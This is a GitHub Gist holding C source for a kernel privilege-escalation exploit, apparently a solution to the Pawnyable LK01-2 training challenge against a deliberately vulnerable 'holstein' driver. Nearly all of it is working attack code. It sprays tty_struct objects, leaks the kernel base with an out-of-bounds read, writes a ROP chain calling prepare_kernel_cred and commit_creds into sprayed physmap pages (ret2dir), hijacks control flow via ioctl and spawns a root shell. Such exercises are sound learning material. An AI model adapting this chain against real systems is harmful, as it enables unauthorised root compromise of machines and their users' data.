Created
February 4, 2023 07:58
-
-
Save brant-ruan/50b56ead5378f0fd258dcf2774197211 to your computer and use it in GitHub Desktop.
ret2dir | Pawnyable LK01-2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <sys/mman.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc38880 | |
#define prepare_kernel_cred (kbase + 0x74650) | |
#define commit_creds (kbase + 0x744b0) | |
#define pop_rdi_ret (kbase + 0x4767e0) | |
#define pop_rcx_ret (kbase + 0x4d52dc) | |
#define push_rdx_pop_rsp_pop2_ret (kbase + 0x3a478a) | |
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x62707b) | |
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) | |
void spawn_shell(); | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t)spawn_shell; | |
unsigned long kbase; | |
unsigned long g_buf; | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int main() { | |
save_userland_state(); | |
int spray[SPRAY_NUM]; | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[+] /dev/holstein opened\n"); | |
int fd = open("/dev/holstein", O_RDWR); | |
if (fd == -1) | |
perror("open"); | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with OOB read\n"); | |
char buf[0x500]; | |
read(fd, buf, 0x500); | |
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x438] - 0x438; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
// craft rop chain and fake function table | |
printf("[*] crafting rop chain\n"); | |
unsigned long *chain = (unsigned long *)&buf; | |
*chain++ = pop_rdi_ret; // #0 return address | |
*chain++ = 0x0; // #1 | |
*chain++ = prepare_kernel_cred; // #2 | |
*chain++ = pop_rcx_ret; // #3 | |
*chain++ = 0; // #4 | |
*chain++ = mov_rdi_rax_rep_movsq_ret; // #5 | |
*chain++ = commit_creds; // #6 | |
*chain++ = pop_rcx_ret; // #7 | |
*chain++ = 0; // #8 | |
*chain++ = pop_rcx_ret; // #9 | |
*chain++ = 0; // #a | |
*chain++ = pop_rcx_ret; // #b | |
*chain++ = push_rdx_pop_rsp_pop2_ret; // #c | |
*chain++ = swapgs_restore_regs_and_return_to_usermode; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = user_rip; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
*(unsigned long *)&buf[0x418] = g_buf; | |
printf("[*] overwriting the adjacent tty_struct\n"); | |
write(fd, buf, 0x420); | |
printf("[*] spraying 16*1024 pages containing ROP chain in physmap\n"); | |
void *physmap_spray[16*1024]; | |
void *mp; | |
for (int i = 0; i < 16*1024; i++) { // 64MB | |
if ((mp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { | |
perror("mmap"); | |
exit(0); | |
} | |
memcpy(mp, buf, 0x500); | |
physmap_spray[i] = mp; | |
} | |
// assuming that slab + 16MB is in physmap | |
uint64_t physmap_ptr = (g_buf & 0xfffffffffffff000) + 16*1024*1024; | |
printf("[*] assuming page at g_buf+16MB (0x%lx) contains ROP chain\n", physmap_ptr); | |
printf("[*] invoking ioctl to hijack control flow\n"); | |
// hijack control flow to physmap | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ioctl(spray[i], 0xdeadbeef, physmap_ptr - 0x10); | |
} | |
getchar(); | |
close(fd); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment